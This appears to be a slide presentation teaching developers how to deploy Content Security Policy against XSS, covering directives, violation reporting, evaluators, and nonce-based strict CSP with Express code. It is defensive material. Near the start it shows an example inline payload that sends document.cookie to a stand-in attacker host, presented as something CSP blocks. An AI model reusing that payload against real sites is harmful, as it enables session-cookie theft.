# Shield Your App With a Content Security Policy (CSP)

Peter Cosemans Michiel Olijslagers



## **Content Security Policy (CSP)**

Content Security Policy (CSP) is a powerful browser security mechanism that **can prevent XSS attacks**. By defining a Content Security Policy, website owners can control and restrict the types of content that can be loaded, such as scripts, stylesheets, images, fonts, and more.

This policy helps prevent the execution of malicious scripts or the loading of unauthorized resources from external domains.

```
Content-Security-Policy: default-src 'none';script-src 'self'; img-src 'self' https://cash.squarecdn.com; connect-src 'self';
```

## CSP is a new layer of defense

```
Content-Security-Policy:

default-src 'none';

script-src 'self';

img-src 'self' https://cash.squarecdn.com;

connect-src 'self';
```

```
<a onclick="window.location='http://mal.co?cookie='+document.cookie">
    Decline Payment</a>

Blocked by script-src (no unsafe-inline)
```

```
<img src="https://tracker.malcicious.co/track" />

Blocked by img-src, domain not listed
```

#### **Specifying CSP**

#### HTTP Header:

```
Content-Security-Policy: default-src 'self' cdn.example.com
```

This is the recommended way to implement a CSP by W3

#### Meta Tag:

Some features, such as sending CSP violation reports, are only available when using the HTTP headers

## **Common CSP Directives & Examples**

Directive	Example	Description
default-src	default-src 'self' cdn.example.com;	Default policy, used in any case (JavaScript, Fonts, CSS, Frames etc.) except if overridden by a more precise directive.
script-src	script-src 'self' cdn.example.com;	Defines authorized sources for scripts
style-src	style-src 'self' cdn.example.com;	Defines authorized sources for stylesheets (CSS)
img-src	<pre>img-src 'self' cdn.example.com;</pre>	Defines authorized sources for images, or link element related to an image type (ex: rel="icon")
object-src	object-src 'none';	Defines authorized sources for plugins (ex: <object> or <embed/>)</object>

## **Common CSP Directives & Examples**

Directive	Example	Description
font-src	default-src 'self' cdn.example.com;	Defines authorized sources where fonts files can be loaded from
connect-src	connect-src 'self' api.example.com;	Policy applies to connections from a XMLHttpRequest (AJAX) or a WebSocket
report-uri	report-uri /some-report-uri;	Instructs a browser to create a report of policy failures. If a piece of content is blocked, the browser will send a report of the information to this URI.

#### **Common Source Values for -src Directives**

Value	Example	Description		
*	img-src *	Wildcard, allows any URL except data: blob: filesystem: schemes		
'none'	object-src 'none'	Prevents loading resources from any source.		
'self'	script-uri 'self'	Allows loading resources from the same origin. Note that 'self' does not include any of your sub-domains		
data:	img-src 'self' data:	Allows loading resources via the data scheme (eg Base64 encoded images)		
domain.example.com	img-src domain.example.com	Allows loading resources from the specified domain name.		
*.example.com	img-src *.example.com	Allows loading resources from any subdomain under example.com		

#### **Common Source Values for -src Directives**

Value	Example	Description
https://cdn.com	img-src https://cdn.com	Allows loading resources only over HTTPS matching the given domain
https:	img-src https:	Allows loading resources only over HTTPS on any domain.
'self'	script-uri 'self'	Allows loading resources from the same origin (same scheme and domain name).
'unsafe-inline'	script-src 'unsafe-inline'	Allows use of inline source elements such as style attribute, onclick, or script tag bodies and javascript: URIs
'unsafe-eval'	script-src 'unsafe-eval'	Allows use of unsafe dynamic code evaluation like JavaScript eval()

#### Some examples

A website administrator wants all content to come from the site's own origin (this excludes subdomains.)

```
Content-Security-Policy: default-src 'self'
```

A website administrator wants to allow content from a trusted domain and all its subdomains (it doesn't have to be the same domain that the CSP is set on.)

```
Content-Security-Policy: default-src 'self' example.com *.example.com
```

A website administrator wants to allow users of a web application to include images from any origin in their own content, but to restrict audio or video media to trusted providers, and all scripts only to a specific server that hosts trusted code.

```
Content-Security-Policy: default-src 'self'; img-src *; media-src example.org
example.net; script-src userscripts.example.com
```

#### A more complete CSP

```
default-src
                            // Rules applied to any directives not listed below
                             // Can access resources on the host domain
 https://cash.squarecdn.com; // Can access the CDN
script-src
  'nonce-YLMZop38Ktla8/hmmA==' // Script Nonce. For inline <script> tags
  'unsafe-inline'
                              // For Safari, Allow inline scripts initially, we turn them off later
 https://cash.squarecdn.com
 https://connect.facebook.net // Facebook Connect Library
 https://ajax.googleapis.com
 https://www.google-analytics.com
style-src
                            // Explicitly defined directives do not inherit from `default-src`
  'self'
                            // We must re-state everything that should be allowed
  'unsafe-inline'
                            // Allow inline CSS styles
 https://cash.squarecdn.com; // Allow CSS from the CDN
img-src
  'self'
                             // Allow data URIs (inline images)
 data:
 https://cash.squarecdn.com
 https://images.squareup.com
 https://www.facebook.com; // Facebook Connect Library
```

# How to configure CSP to protect against XSS



## Start with reporting only


A good starting point

```
Content-Security-Policy-Report-Only:
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'self';
  default-src 'self';
  script-src 'self' 'report-sample';
  style-src 'self' 'report-sample';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  block-all-mixed-content;
```

# CSP Reporting



## Reporting directives



The **report-uri** instructs a browser to create a report of policy failures. If a piece of content is blocked, the browser will send a report of the information to this URI.

```
Content-Security-Policy: report-uri http://event.mydomain.com/some-report-uri;
```

The *report-to* is a reporting directive of the Content-Security-Policy (CSP) HTTP response header, which instructs the browser to send website violation reports to the configured endpoint for the violation.

```
Reporting-Endpoints: csp-endpoint="https://example.com/reports"

Content-Security-Policy: report-to csp-endpoint ...
```

#### **Processing Content Security Policy violation reports**

Now, whenever someone visits your site, and his browser blocks scripts, styles, fonts, or other resources based on your CSP configuration, it makes an HTTP POST request passing along a JSON-formatted report of the violation.

```
"csp-report": {
    "document-uri": "https://example.com/foo/bar",
    "referrer": "https://www.google.com/",
    "violated-directive": "default-src self",
    "original-policy": "default-src self; report-to csp-endpoint",
    "blocked-uri": "http://evilhackerscripts.com"
}
```

#### report-uri vs report-to

#### report-uri

- It's a CSP Level 2 Reports
- Has wide browser support, across Chrome, Firefox, Safari and Edge
- In browsers that support 'report-to', the 'report-uri' directive will be ignored

#### report-to


- The 'report-to' directive was introduced in CSP Level 3
- There is <u>limited browser support</u> for `report-to`, so you must provide a fallback

#### A report-to with fallback


```
Content-Security-Policy:
report-uri http://event.mydomain.com/some-report-uri;
report-to csp-endpoint
...
```

#### **Browser Support**

#### report-uri



#### report-to



#### Reporting endpoints

Several tools exist for the collection and analysis of CSP reports. Here are a few hosted services:


- https://report-uri.com/
- https://csper.io/
- https://www.uriports.com/

Exception tracking,

https://sentry.io/

Or build your own

## **CSP Report Sample (Report URI)**




## **CSP Report Sample (sentry)**

#### style-src-elem

effective_directive	style-src-elem	
blocked_uri	inline	
document_uri	delightful-rock-07730c603.3.azurestaticapps.net	
original_policy	script-src 'self' 'unsafe-inline'; style-src 'self' *.googleapis.c font-src 'self' *.gstatic.com	om;
referrer		
status_code	200	Message
violated_directive	style-src-elem	Blocked 'style' from 'inline:'
source_file	delightful-rock- 07730c603.3.azurestaticapps.net/main.d3508b5fa4c869	Tags
line_number	1	blocked-uri = inline browser = Google Chrome 117
column_number	237219	<u>browser.name</u> = Google Chrome <u>client_os.name</u> = macOS <u>device</u> = Mac
script_sample		<u>device.family</u> = Mac effective-directive = style-src-elem level = error
disposition	enforce	logger = csp user = ip:81.82.60.205
		url = https://delightful-rock-07730c603.3.azurestatic

# Reporting API in Chrome



## A complete CSP, NEL & Reporting Config

```
Content-Security-Policy:
    script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'
    report-uri https://example.com/reports;
    report-to report-endpoint

Reporting-Endpoints: report-endpoint="https://example.com/reports"

Nel: { report_to: 'report-endpoint', max_age: 31536000, include_subdomains: true }
```

## **CSP Evaluation**



# Google CSP Evaluator

#### **CSP Evaluator**

```
script-src 'self' 'unsafe-inline' sentry.io *.sentry.io browser.sentry-cdn.com
    js.sentry-cdn.com widget.usersnap.com resources.usersnap.com;
style-src 'self' 'unsafe-inline' fonts.googleapis.com;
font-src 'self' fonts.googleapis.com fonts.gstatic.com;
connect-src 'self' graph.microsoft.com
    prd-euri-training-catalog-api.azurewebsites.net
    dev-euri-training-catalog-api.azurewebsites.net login.microsoftonline.com
    *.sentry.io fonts.astatic.com fonts.aooaleapis.com sentry.io
    widget.usersnap.com;
ima-src 'self' data:;
object-src 'none';
base-uri 'self':
form-action 'none';
report-uri https://o4505997166247936.ingest.sentry.io/api/4505997172342784/securi
    ty/?sentry_key=4fc97da3f41e2a1f4c01f08cbc1842bf;
                                                                      expand/collapse all
Evaluated CSP as seen by a browser supporting CSP Version 3
Script-src

✓ style-src

✓ object-src
```

#### Csper.io


## Policy Evaluator

Evaluate your website's Content Security Policy for security misconfigurations and recommendations:

https://website.com

☐ Hide from recent scans

Scan Website



#### Let's look at some sites

- <a href="https://www.kbc.be">https://www.kbc.be</a> <a href="Security Headers">Security Headers</a> <a href="CSP">CSP</a>
- <a href="https://www.n26.com">https://www.n26.com</a> <a href="Security Headers">Security Headers</a> <a href="CSP">CSP</a>
- https://www.bol.com Security Headers CSP
- <a href="https://deskreservation.euri.com">https://deskreservation.euri.com</a> <a href="Security Headers">Security Headers</a> <a href="CSP">CSP</a>
- <a href="https://www.resengo.be">https://www.resengo.be</a> <a href="Security Headers">Security Headers</a>

#### **CSP Validators**

- https://cspvalidator.org/
- <a href="https://csp-evaluator.withgoogle.com/">https://csp-evaluator.withgoogle.com/</a>
- https://csper.io/evaluator

#### **Security Scanners**

https://securityheaders.com/

# Unsecurity of CSP



## Un-secure CSP policies X

```
script-src 'self' 'unsafe-inline';
```

unsafe-inline remove complete XSS protection

```
script-src 'self' https: data: *;
```

wildcard allows any domain, any from anywhere

```
script-src 'self';
```

By omitting object-src can do anything, hacker can bypass CSP

## Un-secure CSP policies X

```
script-src 'self' object-src 'none' https://whitelisted.com;
```

If whitelisted.com contains jsonp or angularjs, you can bypass CSP

```
script-src 'self' https://*.google.com;
```

Wildcard with white listing is even worse.

#### How secure are real-world CSP policies?


Study by google; 1,664,019 (0.16 %) of all hostnames across 274,214 top private domains deploy a CSP policy


		Bypassable				NAME OF PARTY	
Data	Total	Report	Unsafe	Missing	Wildcard	Unsafe	Trivially
Set	900 8000-300366 90000	Only	Inline	object-src	in Whitelist	Domain	Bypassable
6 - Control (1997)				50-8			Total
Unique	26,011	2,591	21,947	3,131	5,753	19,719	24,637
CSPs		9.96%	84.38%	12.04%	22.12%	75.81%	94.72%
XSS Poli-	22,425	0	19,652	2,109	4,816	17,754	21,232
cies		0%	87.63%	9.4%	21.48%	79.17%	94.68%
Strict XSS	2,437	0	0	348	0	1,015	1,244
Policies		0%	0%	14.28%	0%	41.65%	51.05%

Almost everyone who is using CSP is doing it wrong!



#### Do CSP whitelist work in practise







Of the XSS protection policies, 87.63 % employed the 'unsafe-inline' keyword without specifying a nonce, which essentially disables the protective capabilities of CSP.

# Strict CSP



## A better way of using CSP: Nonces (2)



#### Content-Security-Policy

```
object-src 'none'; base-uri 'none';
script-src 'nonce-r4nd0m' 'strict-dynamic';
```

Execute only scripts with the correct *nonce* attribute

Trust scripts added by already trusted code

```
✓ <script nonce="r4nd0m">kittens()</script>
  <script nonce="other-value">evil()</script>
```

```
✓<script nonce="r4nd0m">
  var s = document.createElement('script')
  s.src = "/path/to/script.js";

✓ document.head.appendChild(s);
 </script>
```

## Why CSP Nonce?

- CSP(Content security policy) Nonce is also known as Strict CSP, which provides enhanced CSP level 3 security.
- This type of CSP is recommended to use in web pages which are rendered server side.
- A CSP nonce, or Content Security Policy nonce, is a randomly generated value, typically a 128 bit random number, base64 encoded.
- It is a unique token that is included in the CSP header of a web page
- The nonce allows only specific inline scripts or styles with matching nonces to be executed

#### A production-quality strict policy

```
Content-Security-Policy:
   object-src 'none';
   base-uri 'none';
   script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https:;
   report-uri https://your-report-collector.example.com/
```

- **object-src 'none':** Prevents fetching and executing plugin resources
- base-uri 'none': Preventing attackers from changing the locations of scripts
- script-src: 'nonce-{random}': Protected by nonce
- script-src: 'strict-dynamic': Allows the execution of scripts dynamically added to the page
- script-src: 'unsafe-inline' https: Will be ignore but allow older browsers to work.

## Using a hash with CSP

#### If you have a inline script error

```
    ▶ [Report Only] Refused to execute inline script 42bec283-2a03-4c88-8... 4835711991314977:1
    because it violates the following Content Security Policy directive: "script-src 'self'
    'report-sample' <a href="http://widget.usersnap.com">https://resources.usersnap.com</a>". Either the
    'unsafe-inline' keyword, a hash ('sha256-3UZnJiUmLKDbXEjPsm9EHc0R7InC5uAtj501u68mBzM='), or
    a nonce ('nonce-...') is required to enable inline execution.
```

#### You can fix this by adding the hash to your CSP

```
Content-Security-Policy:

default-src 'self';

script-src 'sha256-3UZnJiUmLKDbXEjPsm9EHc0R7InC5uAtj501u68mBzM=
```

The hash feature lets you selectively allow a specific inline script in your Content Security Policy. It does this by using a hash function to create a unique ID for your inline script. Adding this ID to your policy is like adding the script to an allowlist (this also applies to style-src).

# Deploy Strict CSP in modern web applications



## Implementing CSP

The purpose of CSP is to block bad things from happening. It's best to take an iterative approach, deploying in stages, to avoid accidentally disabling part of your web app.

#### A suggested process:

- Write a policy
- Review validations in Report Only mode
- Fix violations or adjust policy (repeating 1-3 until violation are truly exceptional)
- Deploy in strict mode.

## **Deploying CSP in Single Page Applications**

#### Static Web Hosting

- Adding CSP via HTML Meta tag
  - Keep it simple: default-src 'self'
- Make sure all content is served from same origin.
- No support for
  - report-uri
  - frame-ancestors & sandbox
  - Content-Security-Policy-Report-Only

To summarize, if you're building an isolated SPA with nothing else running in the same origin, this policy is a straightforward way to deploy CSP

## **Deploying Strict CSP**

To implement Strict Content Security Policy (CSP), you can use index.html processing to inject nonces or hashes. By serving the index.html dynamically, you can achieve this.

- Serving static web app via server application
  - NodeJS + Express + Helmet
  - NET/C# BFF
- Hosting
  - Docker
  - Azure App Service
  - Vercel, Heroku or Netlify
- Full Stack Applications (NextJS, Remix, Nuxt, ...)
  - Use Nonces for dynamic generated pages
  - Use Hashes for static generated pages

## **Express - Apply Strict CSP for every request**

```
const { expressCspHeader, NONE, SELF, REPORT_SAMPLE, NONCE } = require("express-csp-header");
app.use(
  expressCspHeader({
    directives: {
     "default-src": [SELF],
     "object-src": [NONE],
     "script-src": [NONCE, REPORT_SAMPLE],
     "style-src": [NONCE, REPORT_SAMPLE],
     "img-src": [SELF, "data:"],
     "font-src": ["https://fonts.gstatic.com"],
    reportUri: "/report-csp",
 }),
```

## Express - Add nonce to scripts to mark it as trusted source

```
// serve all static files (except index.html)
app.use(express.static(rootPath, { index: false }));
// add nonce to scripts to mark it as trusted source
app.get('*', async (req, res, next) => {
  if (!req.accepts("html")) {
    return next();
  const indexContent = await readFile(join(distFolder, 'index.html'), { encoding: 'utf8'});
  const indexWithNonce = indexContent.replace(/(<script>)/g, (match) => {
    return match + ' nonce="' + req.nonce + '"';
 });
  res.send(indexWithNonce)
})
```

## Others implementations & packages

#### WebPack

- https://github.com/google/strict-csp
- @melloware/csp-webpack-plugin

#### NextJS

- https://github.com/Sprokets/nextjs-csp-report-onl
- <u>@next-safe/middleware</u>
- o next-strict-csp

#### Remix

https://github.com/rphlmr/remix-csp-nonce

#### ASP.NET

 https://damienbod.com/2023/10/02/implement-a-secure-web-applic ation-using-vue-js-and-an-asp-net-core-server/

## Key Takeaways



## **Key takeaways**

Add Content Security Policy to improve XSS security.

Add report-uri to monitor activity on your site.

Fix your (unsafe) inline script issues.

Use nonce base CSP with strict-dynamic.

Don't create a CSP with unsafe-inline or 3th party whitelists.

## Further reading

#### **Articles**

- Content Security Policy
- Content Security Policy (CSP): What Every Web Developer Must Know
- CSP useful, a collection of scripts, thoughts about CSP
- CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy
- GitHub's CSP journey
- Content Security Policy for Single Page Web Apps

#### **Presentations**

- Making CSP great again!
- So we broke all CSPs... You won't guess what happened next!

#### Videos

- Content Security Policy: A successful mess between hardening and mitigation
- CSP Is Dead, Long Live Strict CSP

### **Tools**

#### Content Security Policy Generator

- https://csper.io/generator
- https://report-uri.com/
- https://report-uri.com/home/generate
- https://addons.mozilla.org/en-US/firefox/addon/content-security-policy-gen/
- https://addons.mozilla.org/en-US/firefox/addon/laboratory-by-mozilla/

#### Content Security Policy Evaluator

- https://cspvalidator.org/
- https://csp-evaluator.withgoogle.com/
- https://csper.io/evaluator
- https://www.validbot.com/

#### Other Tools

https://securityheaders.io/